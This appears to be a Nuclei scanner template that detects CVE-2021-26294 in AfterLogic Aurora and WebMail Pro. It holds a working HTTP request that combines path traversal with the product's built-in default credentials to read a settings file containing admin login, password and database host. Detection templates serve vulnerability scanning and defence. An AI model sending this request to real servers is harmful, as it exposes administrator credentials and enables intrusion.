CVE-2021-26294: AfterLogic Aurora and WebMail Pro < 7.7.9 - Information Disclosure

id: CVE-2021-26294

info:
  name: AfterLogic Aurora and WebMail Pro < 7.7.9 - Information Disclosure
  author: johnk3r
  severity: high
  description: |
    AfterLogic Aurora and WebMail Pro products with 7.7.9 and all lower versions are affected by this vulnerability, simply sending an HTTP GET request to WebDAV EndPoint with built-in “caldav_public_user@localhost” and it’s the predefined password “caldav_public_user” allows the attacker to read all files under the web root.
  reference:
    - https://github.com/E3SEC/AfterLogic/blob/main/CVE-2021-26294-exposure-of-sensitive-information-vulnerability.md
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26294
    - https://github.com/Threekiii/Awesome-POC
    - https://github.com/soosmile/POC
    - https://github.com/tzwlhack/Vulnerability
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-26294
    cwe-id: CWE-22
    epss-score: 0.87178
    epss-percentile: 0.99411
    cpe: cpe:2.3:a:afterlogic:aurora:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: afterlogic
    product: aurora
    fofa-query:
      - "X-Server: AfterlogicDAVServer"
      - "x-server: afterlogicdavserver"
  tags: cve2021,cve,afterlogic,exposure,AfterLogic

http:
  - raw:
      - |
        GET /dav/server.php/files/personal/%2e%2e/%2e%2e//%2e%2e//%2e%2e/data/settings/settings.xml HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic Y2FsZGF2X3B1YmxpY191c2VyQGxvY2FsaG9zdDpjYWxkYXZfcHVibGljX3VzZXI

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<AdminLogin>"
          - "<AdminPassword>"
          - "<DBHost>"
        condition: and

      - type: word
        part: header
        words:
          - "application/octet-stream"

      - type: status
        status:
          - 200
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